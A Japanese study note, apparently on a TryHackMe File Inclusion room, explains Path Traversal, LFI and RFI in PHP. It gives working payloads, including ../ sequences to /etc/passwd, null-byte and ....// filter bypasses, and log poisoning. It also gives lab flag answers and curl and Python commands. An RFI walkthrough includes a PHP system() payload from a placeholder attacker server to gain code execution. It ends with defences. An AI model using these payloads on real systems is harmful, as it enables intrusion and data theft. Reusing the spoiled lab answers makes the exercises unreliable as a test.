概要
Web アプリがファイルをパラメータから読み込む設計(例:?file=…)をしていると、Path Traversal(ディレクトリ横断)、Local File Inclusion(LFI)、Remote File Inclusion(RFI) といった脆弱性が発生しやすい。
これらを放置すると、情報漏洩(/etc/passwd など)、認証情報漏洩、場合によっては RCE(遠隔コマンド実行)につながる。
基本概念(サクッと)
-
Path Traversal / Directory Traversal
../を用いてアプリの想定パスを遡り、意図しないファイルを参照する攻撃。 -
LFI(Local File Inclusion)
include,require系関数にユーザ入力が直接渡されると、サーバ上のローカルファイルを読み込まれたり、場合によっては実行される。 -
RFI(Remote File Inclusion)
allow_url_fopenやallow_url_includeが有効だと、外部の URL をinclude("http://attacker/...")のように読み込み、攻撃者の PHP を実行される可能性がある(RCE に直結する危険性が高い)。
PHPで凡ミスを誘発する関数(代表)
-
file_get_contents()— 単純なファイル読み取りでパストラバの入口になりうる。 -
include(),require(),include_once(),require_once()— LFI/RFI の典型的な入口。
(※問題文でも file_get_contents と include 系が挙がっていました)
攻撃手順(よくある探索フロー)
- 入力ポイントの同定:GET/POST/COOKIE/ヘッダ/ファイルアップロードのどれか。
- 正常入力で挙動確認:想定されたファイルが読み込まれるか。
- エラーやメッセージを観察:パスや拡張子の情報、ベースディレクトリなどのヒントを得る。
-
トラバ/インクルードを試す:
../、絶対パス、NULLバイト、フィルタバイパス等を試す。 - 成功すればファイル閲覧、場合によっては RCE を目指す。
実践的なペイロード(例)
-
基本的なパストラバ:
?file=../../../../etc/passwd -
NULL バイト(古い PHP / 一部ケース):
?file=../../../../etc/passwd%00→ 末尾の
.phpなどの追記を無視させる目的で使えることがある(PHP 5.3.4 以降では無効化済みのことが多い)。 -
ディレクトリ末尾 trick(フィルタ回避):
?file=/etc/passwd/ ?file=/etc/passwd/. -
フィルタが
../を単純置換している場合の回避:?file=....//....//etc/passwd(
../の単純検索・置換ルーチンを騙すテクニック) -
include に
languages/のようなプレフィックスが強制される場合:?lang=languages/../../../../../etc/passwd -
Cookie 経由、POST 経由、ヘッダ経由など、入力チャネルを変える(たまに GET はフィルタ強化、他は盲点だったりする)。
エラーメッセージの読み方(重要)
エラーは攻撃者への一時的ギフト:
Warning: include(languages/THM.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12
上の例から分かること:
- 実行中の include の形式は
include(languages/<input>.php)であること - ドキュメントルートや相対パス(
/var/www/html/THM-4/)が分かる場合がある
→ エラーから「拡張子が .php で固定」「languages ディレクトリに追加」「アプリの実行パス」などを見抜いて、ペイロードを調整する。
LFI の拡張テクニック(よく使う)
- ログファイル注入 → include:ログ(アクセスログ、アプリログ)に PHP シェルコードを残し、そのログファイルを include させて RCE を取るパターン。
- ファイルアップロード + include:任意ファイルを書き込める機能があれば、そのファイルを include して実行。
-
環境変数やセッションを起点に読む:
/proc/self/environで環境変数を読み、そこにユーザ入力が反映されるケースを狙う。
RFI(Remote File Inclusion)と RCE
-
allow_url_fopen/allow_url_includeが有効 → 外部 URL をinclude()で読み込み可能。 - 攻撃の流れ:
- 攻撃者が
<?php system('hostname'); ?>等を置いたファイルを自サーバ(例:http://attacker/cmd.php)に置く。 - ターゲットに
?file=http://attacker/cmd.phpを送る。 - ターゲットが外部を fetch して
include()すると攻撃者のコードが実行され、RCE 発生。
- 攻撃者が
- 実演では、簡易 HTTP サーバ(
python3 -m http.server 8080 --directory /tmp)で攻撃用 PHP を配信し、playground.php?file=http://<attacker>:8080/rce.txtのようにしてsystem('hostname')を実行させている。
Lab(TryHackMe 系)の実例と解法メモ
下は問題文に出てきた VM / Lab の操作ログや解法を整理したもの。自分で演習するときにコピペで使えるコマンド入り。
Lab#1(GETで /lab1.php?file=/etc/passwd)
GET /lab1.php?file=/etc/passwd
あるいは URL エンコード:
http://x.x.x.x/lab1.php?file=%2Fetc%2Fpasswd
Lab#2(include の directory が includes)
エラーメッセージから include(includes/<input>) の形だと分かる → includes/../../.. などで脱出を試みる。
Lab#3(.php が末尾に強制付加)
ソースが include("languages/".$_GET['lang'].".php") などで .php が付く場合、NULL バイト %00 を使えば後続を切れる——ただしモダンな PHP では機能しない場合が多い。
例(試行):
/lab3.php?file=../../../../etc/passwd%00
(古い環境で有効)
※Lab の解答例として、問題文に示された /lab3.php?file=../../../../etc/passwd などが挙げられていました。
Lab#4(フィルタ:../ を消す)
アプリが ../ を検出して単純に置換している場合、....//....// のようなトリックが効くことがある:
?file=....//....//etc/passwd
Lab#5(複雑なフィルタバイパス)
上と似た方針で、フィルタの挙動を観察して複数手法(/. /%00 ....// 等)を試す。
Lab#6(入力に THM-profile ディレクトリの存在を要求)
Server からの指示に従って THM-profile/../../../../../etc/os-release のように対象ファイルを指定:
- 読み取り例(
/etc/os-releaseのVERSION_ID抜き出し):
THM-profile/../../../../../etc/os-release
結果例(Lab の出力):
VERSION_ID="12.04"
Challenge(flag 取得の具体例)
- Flag1(
/etc/flag1)を POST で送る例:
curl -X POST 'http://x.x.x.x/challenges/chall1.php' \
-d 'file=/etc/flag1' -s -o response.html
# response.html を確認 → <code>F1x3d-iNpu7-f0rrn</code>
- Flag2(Cookie 経由で LFI):
# Python requests 例
import requests, re
url = 'http://x.x.x.x/challenges/chall2.php'
cookie = {"THM":"../../../../etc/flag2%00"}
r = requests.get(url, cookies=cookie)
# HTML から <code>...</code> を抽出して表示
- Flag3(POST + NULLバイト):
data = {"file":"../../../../etc/flag3\x00"}
requests.post('http://x.x.x.x/challenges/chall3.php', data=data)
-
Playground(RFI による hostname 実行:RCE)
-
/tmp に
rce.txtを置く:<?php echo system('hostname'); ?> -
攻撃マシンで HTTP サーバ起動:
python3 -m http.server 8000 --directory /tmp -
ターゲットにアクセス(RFI):
http://<TARGET>/playground.php?file=http://<ATTACKER>:8000/rce.txt -
レスポンスに
hostnameの結果(例:lfi-vm-thm-f8c5b1a78692)が返る。
-
補足:実環境で RFI を試すのは 絶対に許可された環境でのみ。TryHackMe / 自室ラボ以外で許可無しに行うのは不法行為です。
防御(開発者向け — 実務で効く対策)
-
ホワイトリスト方式:受け入れるファイル名/ID を限定する(例:
lang in ['EN','JP','AR'])。 -
絶対パスではなく ID→マップで変換:
?file=1→ サーバ側で安全なパスへマッピング。 -
エラーメッセージは無効化:詳細スタックやパスを公開しない(
display_errors=Off)。 -
allow_url_fopen/allow_url_includeをオフに:RFI を防ぐ重要な設定。 - ファイルアクセスに権限を与えすぎない:ドキュメントルート外の重要ファイルを読み込めない権限設定。
-
入力バリデーションと正規化:
realpath()等でパスを正規化して、想定外パスかどうかチェック。 - WAF の導入:既知のパターンや異常なパターンをブロックする。
-
ログを見て異常検知:頻繁な
../試行などを検知してアラートを出す。 - アップデート:古い PHP(NULLバイト脆弱性等)を使っていると余計に危険。常に最新安定版へ。
よくある落とし穴・実践上の注意
- NULL バイト (
%00) は古い PHP でしか機能しないことが多い。現代の PHP では期待どおり動かない - 単純な文字列置換でフィルタしていると、
....//等のトリックで回避される可能性がある - 攻撃ベクトルは GET だけではなく、POST、Cookie、User-Agent、Referer、ファイルアップロードなど多岐に渡る
- 開発中にエラー表示をオンにしていると、本番で重大な情報漏洩を招く(ディレクトリ構造や絶対パス露出など)
参考(学習リソース)
- PortSwigger — Web Security Academy(File Inclusion, Path Traversal)
- OWASP — File Inclusion / Path Traversal に関するドキュメント
- TryHackMe — File Inclusion room
まとめ
- File Inclusion 系は「入力をファイルパスとして扱う実装ミス」に起因する
- 攻撃は単純だが危険度は高い(情報漏洩 → RCE へ連鎖することがある)
- 開発者は ホワイトリスト+正規化+最小権限 を基本に設計し、セキュリティチェックを怠らないこと